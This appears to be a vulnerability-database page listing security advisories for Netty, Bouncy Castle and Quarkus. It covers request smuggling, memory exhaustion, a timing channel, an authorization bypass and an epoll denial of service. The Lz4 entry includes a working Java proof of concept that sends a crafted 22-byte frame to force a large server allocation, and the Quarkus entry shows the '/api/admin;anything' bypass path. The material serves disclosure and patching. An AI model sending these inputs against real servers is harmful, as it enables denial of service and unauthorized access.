2\n    request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-m4cv-j2px-7723",
  "modified": "2026-05-14T20:41:01Z",
  "published": "2026-05-07T00:13:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}

GHSA-MJ4R-2HFC-F8P6

Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41

Summary

Netty Lz4FrameDecoder is vulnerable to resource exhaustion

Details

Summary

Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details

io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC

The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Impact

Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:20:35Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 \u003c\u003c 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
  "id": "GHSA-mj4r-2hfc-f8p6",
  "modified": "2026-05-14T20:41:13Z",
  "published": "2026-05-07T00:20:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}

GHSA-P93R-85WP-75V3

Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-06-19 15:20

Summary

Bouncy Castle Has Covert Timing Channel Vulnerability

Details

Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.

This issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.

This issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.

Fixed versions: 1.80.2, 1.81.1, 1.84

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.71"
            },
            {
              "fixed": "1.80.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.81"
            },
            {
              "fixed": "1.81.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.82"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:25:24Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "HIGH"
  },
  "details": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.\n\nThis issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.\n\nThis issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.\n\nFixed versions: 1.80.2, 1.81.1, 1.84",
  "id": "GHSA-p93r-85wp-75v3",
  "modified": "2026-06-19T15:20:41Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/8692e6b2b191fc4aafa32545c7a78bdb9bf110c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/94abbd56413dfdac651fd878bc60253871ef5e87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-5598"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Has Covert Timing Channel Vulnerability"
}

GHSA-RC95-PCM8-65V9

Vulnerability from github – Published: 2026-05-04 17:20 – Updated: 2026-07-28 22:22

Summary

Quarkus has Authentication/Authorization bypasses

Details

Quarkus version 3.32.4 is vulnerable to an authorization bypass issue (GHSL-2026-099), in which semicolons (matrix parameters) in HTTP requests can be used to bypass security constraints, potentially allowing unauthorized access to protected resources.

Unauthenticated or lower-privileged users can bypass HTTP path-based authorization policies by appending a semicolon (;) and arbitrary text to the request URL. The vulnerability arises from a path-normalization inconsistency: Quarkus's security layer performs authorization checks on the raw URL path (which preserves matrix parameters), whereas RESTEasy Reactive's routing layer strips matrix parameters before matching endpoints. This allows requests like /api/admin;anything to bypass policies protecting /api/admin while still routing to the protected endpoint.

Impact

This issue may lead to Authentication/Authorization bypasses.

Credits

This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.20.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.27.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.30.0"
            },
            {
              "fixed": "3.33.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-vertx-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.34.0"
            },
            {
              "fixed": "3.35.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-551",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T17:20:20Z",
    "nvd_published_at": "2026-05-05T21:16:22Z",
    "severity": "HIGH"
  },
  "details": "Quarkus version 3.32.4 is vulnerable to an authorization bypass issue (GHSL-2026-099), in which semicolons (matrix parameters) in HTTP requests can be used to bypass security constraints, potentially allowing unauthorized access to protected resources.\n\nUnauthenticated or lower-privileged users can bypass HTTP path-based authorization policies by appending a semicolon (`;`) and arbitrary text to the request URL. The vulnerability arises from a path-normalization inconsistency: Quarkus\u0027s [security layer](https://quarkus.io/guides/security-authorize-web-endpoints-reference) performs authorization checks on the raw URL path (which preserves matrix parameters), whereas RESTEasy Reactive\u0027s routing layer strips matrix parameters before matching endpoints. This allows requests like `/api/admin;anything` to bypass policies protecting `/api/admin` while still routing to the protected endpoint.\n\n\n### Impact\n\nThis issue may lead to Authentication/Authorization bypasses.\n\n### Credits\n\nThis issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) and manually verified by GHSL team members [@p- (Peter St\u00f6ckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).",
  "id": "GHSA-rc95-pcm8-65v9",
  "modified": "2026-07-28T22:22:11Z",
  "published": "2026-05-04T17:20:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-rc95-pcm8-65v9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39852"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11720"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11721"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13631"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17789"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25089"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34608"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-39852"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2457819"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quarkusio/quarkus"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39852.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Quarkus has Authentication/Authorization bypasses"
}

GHSA-RWM7-X88C-3G2P

Vulnerability from github – Published: 2026-05-06 23:10 – Updated: 2026-07-24 19:05

Summary

Netty epoll transport denial of service via RST on half-closed TCP connection

Details

Summary

Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.

Affected versions

All versions of 4.2.x netty-transport-classes-epoll up to and including 4.2.12.Final

Fixed in

4.2.13.Final (fix merged into the 4.2 branch via #16689; release not yet cut as of 2026-04-25).

Severity

Medium — Denial of Service (resource exhaustion / CPU spin)

CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5

CWE: CWE-772: Missing Release of Resource after Effective Lifetime

Description

When a TCP connection using Netty's epoll transport has ALLOW_HALF_CLOSURE enabled (or is in a half-closed state via the HTTP codec), and the remote peer:

Sends a FIN (half-close), causing the server to mark the input as shutdown, then
Sends a RST (e.g. by closing with SO_LINGER=0)

the server-side channel is never closed. This happens because:

epollOutReady() is a no-op when there is no pending flush.
epollInReady() short-circuits via shouldBreakEpollInReady() because input is already marked as shutdown.
The EPOLLERR/EPOLLHUP error condition is therefore never processed, and channelInactive is never fired.

Depending on the Netty version and configuration, this results in:

Stale channels: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.
CPU busy-loop: In code paths where clearEpollIn0() is not called during the ChannelInputShutdownReadComplete event, epoll_wait returns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.

Mitigation

Upgrade to 4.2.13.Final when released (or build from the 4.2 branch at commit 0ec3d97).
If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.

References

Issue: https://github.com/netty/netty/issues/16683
Fix: https://github.com/netty/netty/pull/16689

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-classes-epoll"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:10:41Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty\u0027s epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.\n\n## Affected versions\n\nAll versions of 4.2.x `netty-transport-classes-epoll` up to and including 4.2.12.Final\n\n## Fixed in\n\n4.2.13.Final (fix merged into the `4.2` branch via [#16689](https://github.com/netty/netty/pull/16689); release not yet cut as of 2026-04-25).\n\n## Severity\n\n**Medium** \u2014 Denial of Service (resource exhaustion / CPU spin)\n\n**CVSS:** 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - **7.5**\n\n**CWE:** CWE-772: Missing Release of Resource after Effective Lifetime\n\n## Description\n\nWhen a TCP connection using Netty\u0027s epoll transport has `ALLOW_HALF_CLOSURE` enabled (or is in a half-closed state via the HTTP codec), and the remote peer:\n\n1. Sends a FIN (half-close), causing the server to mark the input as shutdown, then\n2. Sends a RST (e.g. by closing with `SO_LINGER=0`)\n\nthe server-side channel is never closed. This happens because:\n\n- `epollOutReady()` is a no-op when there is no pending flush.\n- `epollInReady()` short-circuits via `shouldBreakEpollInReady()` because input is already marked as shutdown.\n- The `EPOLLERR`/`EPOLLHUP` error condition is therefore never processed, and `channelInactive` is never fired.\n\nDepending on the Netty version and configuration, this results in:\n\n- **Stale channels**: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.\n- **CPU busy-loop**: In code paths where `clearEpollIn0()` is not called during the `ChannelInputShutdownReadComplete` event, `epoll_wait` returns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.\n\n## Mitigation\n\n- Upgrade to 4.2.13.Final when released (or build from the `4.2` branch at commit [`0ec3d97`](https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d)).\n- If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.\n\n## References\n\n- Issue: https://github.com/netty/netty/issues/16683\n- Fix: https://github.com/netty/netty/pull/16689",
  "id": "GHSA-rwm7-x88c-3g2p",
  "modified": "2026-07-24T19:05:52Z",
  "published": "2026-05-06T23:10:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/16689"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty epoll transport denial of service via RST on half-closed TCP connection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

Vulnerability from cleanstart

Summary

Details

PoC

Impact

Summary

Impact

Patches

Workarounds

Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)

1. Vulnerability Summary

2. Affected Components

3. Vulnerability Description

3.1 Encoder Side — Null Byte Injection (CWE-626)

3.2 Encoder Side — Overlength Label (RFC 1035 Violation)

3.3 Encoder Side — Silent Truncation via Empty Labels

3.4 Decoder Side — Unbounded Memory Allocation

Root Cause — Encoder

Root Cause — Decoder

4. Exploitability Prerequisites

Encoder Side (outbound)

Decoder Side (inbound)

5. Attack Scenarios

Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)

Scenario 2: Label/Pointer Confusion (Encoder)

Scenario 3: Memory Exhaustion via Large Labels (Decoder)

Scenario 4: Domain Truncation via Empty Label (Encoder)

Scenario 5: Downstream Processing Failures (Decoder)

6. Proof of Concept

PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)

PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)

How to Compile and Run

PoC Execution Output (Verified on Netty 4.2.12.Final)

7. Impact Analysis

8. Remediation Recommendations

Fix for Encoder (encodeDomainName)

Fix for Decoder (decodeDomainName)

9. Resources

Description

Steps to Reproduce

Potential Impact

1. Information Disclosure

2. Attack Scenarios

3. Affected Scope

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Impact

Credits

Summary

Affected versions

Fixed in

Severity

Description

Mitigation

References

Tags

Sightings

Nomenclature